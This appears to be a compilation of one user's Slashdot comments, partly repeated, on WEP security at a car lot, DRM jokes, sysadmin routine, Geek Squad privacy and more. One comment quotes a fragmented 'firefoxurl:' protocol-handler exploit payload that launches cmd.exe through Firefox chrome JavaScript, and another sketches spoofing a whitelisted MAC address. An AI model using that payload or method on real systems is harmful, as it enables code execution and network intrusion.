Hasn't this been known for quite a while? The actual task of walking is something that takes WAY too much computation (for lack of a better term) than the conscious brain is capable of. The same goes for quite a few other tasks that we perform. Think about image recognition, or throwing and catching a ball, or TYPING! Howabout READING!!
because then when it is saturday morning at 6:00 and i'm in bed, or sunday afternoon at 3:00pm and I'm out at the lake on my boat, or I'm in the mountains biking, or blah blah blah etc away from my phone and somebody needs to use it, they can't.
or somebody could drop a wifi card in to promiscuous monitor mode, sniff the traffic for a whitelisted MAC, then spoof it after we're closed and all the mobile computers are turned off.
The fact that they don't have teams devoted to database design, UI design, etc. etc. can be a major problem. Often times when you work for companies like this you end being drastically under-funded, and then you get reprimanded when things don't work the way they should. For Instance:
I work for a small(ish) company (~200 employees, about 50 users, and about 100 networked devices). Unfortunately for me, about 20 of these networked devices are wireless, and only support 32 bit WEP. This is a MAJOR MAJOR MAJOR problem for me. Our wireless network is expected to cover a VERY large outdoor area (a huge car lot, and a ~10,000 square foot vehicle re-conditioning building). To accomplish this task, i built us a couple of soekris boxen with ubiquiti XR2 radios in them, and some big honkin' gain antennas. This causes quite a bit of "bleed". Or signal goes a LONG way if you point the right antennas at it. I have explained this to my boss time and time again, that we need to upgrade to devices that either support WPA, or preferably openVPN. I just get a blank look and a "no". Since we're not going to invest the probably 20 grand that it would take to get the devices that I need (a bunch of intermec CK-31s), i have set myself up a rudimentary network monitoring station. I run etherape to keep an eye on what is going where, and kismet/airodump-ng to keep an eye on what macs are out there probing, and who is connecting to what. This setup works okay i suppose, but it is done using my own PERSONAL equipment.
I could keep ranting, but the point is that something working for the big honkin' company can be a really good thing.
I'm sure that a company like google would be MORE than willing to fund a project archiving these. The positive press, proliferation of their intended "do no evil/good guy/just another bunch of geeks" image, having their name on a major scientific project would easily be worth the investment.
Today, when someone does a tough stunt for real, nobody notices. There's a minor SF film which shows a woman running down the face of a 40-story building with a cable paying out behind her for support. A stuntwoman is really doing that on a real building. And for the bottom 30 feet, the star of the picture is really doing that, twisting to land on her feet and come out shooting. On the screen, it looks no different than similar things done in CG in other movies. what movie!?
well...if you read the article you would find that this bug effects Internet Explorer users, not firefox users. The exploit has firefox as a dependency, but is actually called from IE.
If you open this in firefox (as most of you probably are usuing firefox, since this is slashdot), it warns you that something is trying to launch an external application.
What it seems like they would be talking about here would be something similar to PKE. Err, no wait that doesn't make sense, must be something like what is used in prox cards with challenge/response...hrm...not that probably isn't what it is.....OH I KNOW! every disk comes with a monkey that kicks you in the balls every time you get the disk near a computer!!
Unfortunately, this alienates most of the Chinese player manufacturing market. But it does have the bonus of coming with a free monkey.
Lets make a movie starring the DRM monkeys and then post it into the intertubes! This would send an inverse monkey (also known as a something awful member) past the event horizon, causing the entire twisted fucked up backwards universe that the movie industry lives in to collapse upon itself!!! FREE MONKEYS FOR ALL!
In the real world, things cost money. You need to pay a printer to print your magazine/newspaper/newsletter, and you need to pay postage to have it delivered. Online, you pay a VERY small monthly fee for hosting (if that), and a once every couple years fee for DNS registration (if that).
Online, there is no natural selection to weed out the crappy worthless blogs that don't really contain any information or generate any traffic/revenue.
When i come in, i immediately remove the backup tapes from last night and replace them with the ones for the night to follow. After that i sit down at my workstation and check the server logs to make sure that the backup completed successfully. Next comes email. There are a few automated emails that get sent to me when cron jobs are completed detailing what was done and how efficiently. If there aren't any problems that need to be dealt with, I start scheduling out my day in my notebook. After that i usually make my rounds around the office checking back in with users who had problems that required attention yesterday, to make sure that the solution worked for them and that everything is running smoothly. Once that is done, i log into the servers to check their state, make sure there aren't any runaway tasks, and basically ensure that everything is running smoothly. If there still haven't been any users with problems that need attention at this point, i will usually start looking through the firewall logs from last night to make sure nothing fishy was going on while i was away.
Geek squad is on about the same level as the kid down the street. We have ALL done that, some family friend, or neighbor, or whatever needs their computer fixed, so we fix it for them. How many of you have honestly worked on a neighbors computer without at least taking a look into ~\My Music\? It goes with the territory and people know it. You cannot honestly tell me that your average consumer takes their computer into the geek squad to have it fixed and expects that they are getting top level support. If you had a bunch of home made pr0n, or private pictures, videos, files, etc on your computer, don't hand it over to some mouth breathing idiot behind a geek squad counter.
If this gets installed on your blackberry you'll notice your battery life go from about a day and a half, to a few hours. That and you'll see that little data arrow at the top right of your screen (bb users will know what i'm talking about) going crazy. While I agree that this software would might be useful for tracking sortof "low-level" employees (delivery drivers and such that need phones, but aren't really supposed to use them for anything other than emergencies), most high-level manager types that actually need a blackberry would not tolerate this sort of intrusion.
I know that most/.ers out there probably don't know this industry even exists, but As400 is used pretty much exclusively through the automotive auction industry.
By your logic, the strong arm of the law never would have come down on sites like suprnova. Irc doesn't actually host any files, or transfer them, it just facilitates it.
Usenet and IRC are next, guys. All it takes is one person to show some jackass ignorant lawmaker a pie chart of bandwidth used for piracy compared to bandwidth used for information exchange.
the water isn't getting pumped all over the motherboards of these computers or something drastic like that. What they mean is that they keep super-chilled water on hand at all times. This way, should there be some catastrophic over-heating event, they have already cold water on hand; not the stuff that most liquid cooling systems use (which is just room temperature).
I know this is a really old discussion but i'll respond anyway:
When you play a record, the vibration of the needle against the vinyl travels outward towards the edges of the disk, then back inwards (like a wave), this creates a sortof "feedback" but with a slight delay, giving records their "warmth".
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Hasn't this been known for quite a while? The actual task of walking is something that takes WAY too much computation (for lack of a better term) than the conscious brain is capable of. The same goes for quite a few other tasks that we perform. Think about image recognition, or throwing and catching a ball, or TYPING! Howabout READING!!
imagine a beowulf cluster of human brains!
because then when it is saturday morning at 6:00 and i'm in bed, or sunday afternoon at 3:00pm and I'm out at the lake on my boat, or I'm in the mountains biking, or blah blah blah etc away from my phone and somebody needs to use it, they can't.
or somebody could drop a wifi card in to promiscuous monitor mode, sniff the traffic for a whitelisted MAC, then spoof it after we're closed and all the mobile computers are turned off.
The fact that they don't have teams devoted to database design, UI design, etc. etc. can be a major problem. Often times when you work for companies like this you end being drastically under-funded, and then you get reprimanded when things don't work the way they should.
For Instance:
I work for a small(ish) company (~200 employees, about 50 users, and about 100 networked devices). Unfortunately for me, about 20 of these networked devices are wireless, and only support 32 bit WEP. This is a MAJOR MAJOR MAJOR problem for me. Our wireless network is expected to cover a VERY large outdoor area (a huge car lot, and a ~10,000 square foot vehicle re-conditioning building). To accomplish this task, i built us a couple of soekris boxen with ubiquiti XR2 radios in them, and some big honkin' gain antennas. This causes quite a bit of "bleed". Or signal goes a LONG way if you point the right antennas at it. I have explained this to my boss time and time again, that we need to upgrade to devices that either support WPA, or preferably openVPN. I just get a blank look and a "no". Since we're not going to invest the probably 20 grand that it would take to get the devices that I need (a bunch of intermec CK-31s), i have set myself up a rudimentary network monitoring station. I run etherape to keep an eye on what is going where, and kismet/airodump-ng to keep an eye on what macs are out there probing, and who is connecting to what. This setup works okay i suppose, but it is done using my own PERSONAL equipment.
I could keep ranting, but the point is that something working for the big honkin' company can be a really good thing.
I'm sure that a company like google would be MORE than willing to fund a project archiving these. The positive press, proliferation of their intended "do no evil/good guy/just another bunch of geeks" image, having their name on a major scientific project would easily be worth the investment.
well...if you read the article you would find that this bug effects Internet Explorer users, not firefox users. The exploit has firefox as a dependency, but is actually called from IE.
DARN YOU SLASHDOT!!!!!!!!!!!!!!!
e rfaces;file=C[@mozilla.org/file/local;1].createIns tance(I.nsILocalFile);file.initWithPath(C:+String. fromCharCode(92)+String.fromCharCode(92)+Windows+S tring.fromCharCode(92)+String.fromCharCode(92)+Sys tem32+String.fromCharCode(92)+String.fromCharCode( 92)+cmd.exe);process=C[@mozilla.org/process/util;1 ].createInstance(I.nsIProcess);process.init(file); process.run(true%252c{}%252c0);alert(process)
stop stripping my links! >:-O
the link in full txt is THIS:
a href = 'firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.int
Correction (something went goofey when i copy and pasted.
..will launch cmd.exe
this
If you open this in firefox (as most of you probably are usuing firefox, since this is slashdot), it warns you that something is trying to launch an external application.
once again, the above example was taken from Here
Demonstration
Cmd.exe
This should launch cmd.exe....
Notice that you must click that link from internet explorer, firefox will warn you that an external application is being called.
above example taken from here
What it seems like they would be talking about here would be something similar to PKE. Err, no wait that doesn't make sense, must be something like what is used in prox cards with challenge/response...hrm...not that probably isn't what it is.....OH I KNOW! every disk comes with a monkey that kicks you in the balls every time you get the disk near a computer!!
Unfortunately, this alienates most of the Chinese player manufacturing market. But it does have the bonus of coming with a free monkey.
Lets make a movie starring the DRM monkeys and then post it into the intertubes! This would send an inverse monkey (also known as a something awful member) past the event horizon, causing the entire twisted fucked up backwards universe that the movie industry lives in to collapse upon itself!!!
FREE MONKEYS FOR ALL!
In the real world, things cost money. You need to pay a printer to print your magazine/newspaper/newsletter, and you need to pay postage to have it delivered. Online, you pay a VERY small monthly fee for hosting (if that), and a once every couple years fee for DNS registration (if that).
Online, there is no natural selection to weed out the crappy worthless blogs that don't really contain any information or generate any traffic/revenue.
and thank GOD that somebody invented slashdot so that people could spam their blogs in the comments!!
why did this get modded funny?
When i come in, i immediately remove the backup tapes from last night and replace them with the ones for the night to follow. After that i sit down at my workstation and check the server logs to make sure that the backup completed successfully. Next comes email. There are a few automated emails that get sent to me when cron jobs are completed detailing what was done and how efficiently. If there aren't any problems that need to be dealt with, I start scheduling out my day in my notebook. After that i usually make my rounds around the office checking back in with users who had problems that required attention yesterday, to make sure that the solution worked for them and that everything is running smoothly. Once that is done, i log into the servers to check their state, make sure there aren't any runaway tasks, and basically ensure that everything is running smoothly. If there still haven't been any users with problems that need attention at this point, i will usually start looking through the firewall logs from last night to make sure nothing fishy was going on while i was away.
At this point, printers usually start exploding.
To any phoenix based /.ers:
:)
There is a shop just off of scottsdale rd and mcdowell that still sells Jolt (as well as a WHOLE bunch of other really cool drinks).
Its called "Pop The Soda Shop"....its really cool
Geek squad is on about the same level as the kid down the street. We have ALL done that, some family friend, or neighbor, or whatever needs their computer fixed, so we fix it for them. How many of you have honestly worked on a neighbors computer without at least taking a look into ~\My Music\? It goes with the territory and people know it. You cannot honestly tell me that your average consumer takes their computer into the geek squad to have it fixed and expects that they are getting top level support. If you had a bunch of home made pr0n, or private pictures, videos, files, etc on your computer, don't hand it over to some mouth breathing idiot behind a geek squad counter.
If this gets installed on your blackberry you'll notice your battery life go from about a day and a half, to a few hours. That and you'll see that little data arrow at the top right of your screen (bb users will know what i'm talking about) going crazy. While I agree that this software would might be useful for tracking sortof "low-level" employees (delivery drivers and such that need phones, but aren't really supposed to use them for anything other than emergencies), most high-level manager types that actually need a blackberry would not tolerate this sort of intrusion.
I know that most /.ers out there probably don't know this industry even exists, but As400 is used pretty much exclusively through the automotive auction industry.
By your logic, the strong arm of the law never would have come down on sites like suprnova. Irc doesn't actually host any files, or transfer them, it just facilitates it.
Usenet and IRC are next, guys. All it takes is one person to show some jackass ignorant lawmaker a pie chart of bandwidth used for piracy compared to bandwidth used for information exchange.
:'(!
What is happening to our intertubes?!
the water isn't getting pumped all over the motherboards of these computers or something drastic like that. What they mean is that they keep super-chilled water on hand at all times. This way, should there be some catastrophic over-heating event, they have already cold water on hand; not the stuff that most liquid cooling systems use (which is just room temperature).
1.21 gigaflops and their webserver is an old guy with tourette syndrome yelling HTML code into a tin can on a string.
I know this is a really old discussion but i'll respond anyway:
When you play a record, the vibration of the needle against the vinyl travels outward towards the edges of the disk, then back inwards (like a wave), this creates a sortof "feedback" but with a slight delay, giving records their "warmth".
Most home DSL connections use a dynamic IP address, not to mention the fact that upstream spead on my cable modem is something around 30kbps.